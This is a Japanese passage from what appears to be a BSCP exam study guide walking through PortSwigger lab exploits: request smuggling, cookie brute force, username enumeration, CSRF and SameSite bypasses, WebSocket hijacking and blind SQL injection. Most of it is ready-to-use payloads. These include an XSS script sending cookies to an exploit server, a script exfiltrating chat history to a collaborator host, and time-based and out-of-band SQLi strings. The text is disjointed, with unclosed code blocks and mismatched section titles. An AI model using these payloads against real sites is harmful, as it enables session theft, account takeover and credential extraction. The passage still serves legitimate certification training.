>注: インスペクタのリクエスト属性で **HTTP/2** に切り替え、リピートメニューの **Allow HTTP/2 ALPN override** オプションを有効にしてください。```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger Lab: H2.TE リクエストスマグリングによるレスポンスキューポイズニング](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Brute Force  

[Stay-Logged-in](#stay-logged-in)  
[Stay-logged-in オフラインクラック](#stay-logged-in-offline-crack)  
[ブルートフォース保護ログイン](#brute-force-protected-login)  
[微妙に無効なログイン](#subtly-invalid-login)  

### Stay-Logged-in  

>ログイン状態を保持するチェックボックスがあるログインオプションでは、Cookie の値にログインユーザーのパスワードが含まれており、ブルートフォース攻撃に対して脆弱です。  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>攻撃を開始する前に、以下のエクスプロイト手順と、Intruder の Payload 処理ルール、および GREP オプションを順に実行します。  
  
1. 現在のユーザーとしてログアウトします。  
2. 最新の GET /my-account リクエストを Burp Intruder に送信します。  
3. Cookie: ```stay-logged-in``` をインジェクションポジションとして選択します。  
4. ハッシュ: ```MD5```  
5. プレフィックスを追加: ```carlos:```  
6. エンコード: ```Base64-encode```  
7. **GREP** を設定タブに追加し、レスポンス内の文字列 ```Update email``` をチェックして、ログイン成功を示します。  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger Lab: stay-logged-in クッキーのブルートフォース](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Stay-logged-in Offline Crack  
  
>ブログアプリケーションのコメント機能は [ストアド XSS](#stored-xss) に対して脆弱です。以下のペイロードをブログコメントで使用して、Carlos のセッション Cookie をエクスプロイトサーバーに送信します。```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>上記の**Pitchfork** Intruder攻撃をパスワードフィールドに対して繰り返し、ステータス列の302結果から有効なパスワードを***特定***します。  

[PortSwigger Lab: Username enumeration via response timing](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### 微妙に無効なログイン  

>ログインページとパスワードリセットがブルートフォース攻撃から保護されておらず、無効なユーザー名またはパスワードに対してIPブロックやタイムアウトが実施されていないことを***特定***します。  

>BSCP試験のヒント: 弱いパスワードを持つ別のユーザーが存在し、ブルートフォースできる場合があります。ステージ1で足がかりアクセスを得るための標的アカウントは、必ずしもCarlosとは限りません。  

![Subtly invalid login](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Intruder攻撃列のGREP値 ```Invalid username or password.``` に注目してください。失敗したユーザー名攻撃のレスポンスメッセージの1つは、末尾にピリオド（終止符）が含まれていません。この***特定***されたユーザー名で攻撃を繰り返し、**Sniper**でパスワードフィールドを攻撃して、有効なログインの```302```レスポンスを***特定***します。  
  
![Refresh Password](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>BSCP試験では、返される他の異なるメッセージに***注意***し、アプリケーション上で有効なアカウントを開示し、アカウントパスワードのブルートフォースによる***特定***を可能にするものを探してください。例えば、[パスワードリセット更新](#refresh-password-broken-logic)機能のようなものです。  
  
>異なるレスポンスメッセージから有効なユーザー名を特定したら、Burp Intruderを使用してパスワードに対して[ブルートフォース](#brute-force)を実行します。  

[PortSwigger Lab: Username enumeration via subtly different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>WEB APP上の有効なユーザー名を特定する別のシナリオは、ログイン時にユーザー名のリストと1つの無効なパスワード値を提供することです。Intruder攻撃結果では、1つのレスポンスに `Incorrect password` というメッセージが含まれます。  
>Intruder攻撃の注入位置、`username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[PortSwigger Lab: Username enumeration via different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## 認証  

[アカウント登録](#account-registration)  
[Auth Token バイパスマクロ](#auth-token-bypass-macro)  
  
### アカウント登録  

>アカウント登録機能のビジネスロジックの欠陥により、対象ユーザーのロールアクセスとして足がかりを得ることができます。[コンテンツディスカバリ](#content-discovery)でパス ```/admin``` を見つけると、**DontWannaCry** ユーザーとしてログインしている場合にのみAdminインターフェースが利用可能であるというメッセージが表示されます。  

![Register length flaw](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>```@``` 記号の前に200文字を超えるメールアドレスを作成すると、255文字に切り詰められます。これにより、アカウント登録ページのロジックの**欠陥**という脆弱性が***特定***されます。下のメールでは、```@dontwannacry.com``` の末尾の ```m``` はちょうど255文字目です。```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[PortSwigger Lab: 強制的なOAuthプロフィールリンク](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### Referer検証CSRF  

>***特定する***：**Referer** ヘッダーの値が変更された場合、レスポンスが `Invalid referer header` というメッセージを返し、リファラ値が期待されたターゲットドメインを値のどこかに含む場合にメール変更が受け入れられることを観察することで、メール変更機能がCSRFに対して脆弱であることを特定します。  

![identify csrf referer header check](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>ターゲットの元のドメインを追加し、`history.pushState('', '', '/?TARGET.net');` をクエリ文字列の形で **Referer ヘッダー**に追加すると、メール変更を更新できるようになります。```html
Referrer-Policy: unsafe-url

>CSRF POC を生成し、**auto-submit** スクリプトを含めるオプションを有効にして、**Regenerate** をクリックします。**auto-submit** スクリプトのコードブロックを削除し、代わりに以下を追加して、```history.pushState``` スクリプトコードを body header の下に配置します。IMG SRC タグの **onerror** が、代わりに CSRF POC を送信します。```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF privesc](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF 防御策なし  

>メール変更機能に対する防御策がないターゲットでは、管理者ロールへの権限昇格が可能になります。試験では、エクスプロイトサーバー上でメールアドレスを `[email protected]` に変更することで、攻撃者が管理者ユーザーのパスワードを変更でき、結果として権限昇格が発生します。  
>試験ではアクティブユーザーは***1人***だけです。前の段階で、ポイズンキャッシュ攻撃や `Deliver to Victim` 機能によるフィッシング攻撃など、アクティブユーザーがリンクをクリックすることを必要としない攻撃を使用して完了した場合、CSRF 変更エクスプロイトを使用できます。  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: 防御策のない CSRF 脆弱性](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### SameSite Strict バイパス  

>ライブチャット機能では、`GET /chat HTTP/2` リクエストが予測不可能なトークンを使用していないことに気づきます。[SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) Cookie 制限をバイパスできる場合、これは[cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)（CSWSH）脆弱性の可能性を***特定***できます。  

>エクスプロイトサーバーに POC ペイロードをホストして、CSWSH 脆弱性を***特定***します。```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>SameSite 制限を回避するには、以下のスクリプト全体を URL エンコードし、エクスプロイトサーバー上でホストされている `cms-` ユーザー名ログインの CDN サブドメインへの入力として使用します。```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>チャット履歴には被害者のパスワードが含まれています。

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict バイパス（兄弟ドメイン経由）](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### SameSite Lax バイパス  

>`/social-login` にアクセスすると、完全な OAuth フローが自動的に開始されることを確認してください。OAuth サーバーにログイン済みのセッションが依然として残っている場合、これはすべて操作なしで発生します。また、プロキシ履歴では、OAuth フローを完了するたびに、既にログインしている場合でも、ターゲットサイトが新しいセッション Cookie を設定することに注意してください。  

>ポップアップブロッカーを回避するには、被害者がページをクリックするまでポップアップを開かず、クリックした後にのみ開くように、次の JavaScript を使用します。このエクスプロイト JavaScript コードは、まず被害者のブラウザに `/social-login` を強制的にアクセスさせてセッションを更新し、その後、短い待ち時間の後にメールアドレス変更リクエストを送信します。エクスプロイトを被害者に配信します。```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[URLエンコード](https://www.urlencoder.org/) `PostgreSQL` ペイロード。```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>CLUSTER Bomb攻撃を使用して、パスワード内の文字位置の各順列に対して攻撃を再実行し、文字の値を特定します。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

![practice exam stage-2 time delay sqli](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Intruder CLUSTER bomb 攻撃では、以下のペイロード内の2つのペイロード位置を利用することで、パスワードを1回の攻撃だけで抽出できます。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

![帯域外データ流出を伴うブラインドSQLインジェクション](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger Lab: 帯域外データ流出を伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>上記のSQLペイロードは、この[PortSwigger Lab: 条件付きエラーを伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors)チャレンジのAdministratorパスワードを抽出するためにも使用できます。  

### 兆候なしのBlind SQLi  

>```trackingid``` Cookie、または検索パラメータ `/search_advanced?searchTerm='` の末尾にシングルクォートを配置すると、`500 Internal Server Error` レスポンスが返される場合があります。推測で構いません。以下のBlind SQLiペイロードを使用し、基本的なXXEテクニックと組み合わせると、コラボレーションサーバーに呼び出しが行われますが、データは流出しません。```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

[OAST - 帯域外アプリケーションセキュリティテスト](https://portswigger.net/burp/application-security-testing/oast)  

[PortSwigger ラボ: 帯域外インタラクションを伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### ブラインドSQLi条件付きレスポンス

>このブラインドSQLインジェクションは、レスポンス内の小さなメッセージの違いによって ***識別*** されます。妥当な真のSQLクエリを送信すると、レスポンスに ```Welcome back``` 文字列が含まれます。無効な偽のSQLクエリステートメントには、レスポンスの条件付きメッセージが含まれません。```
' AND '1'='1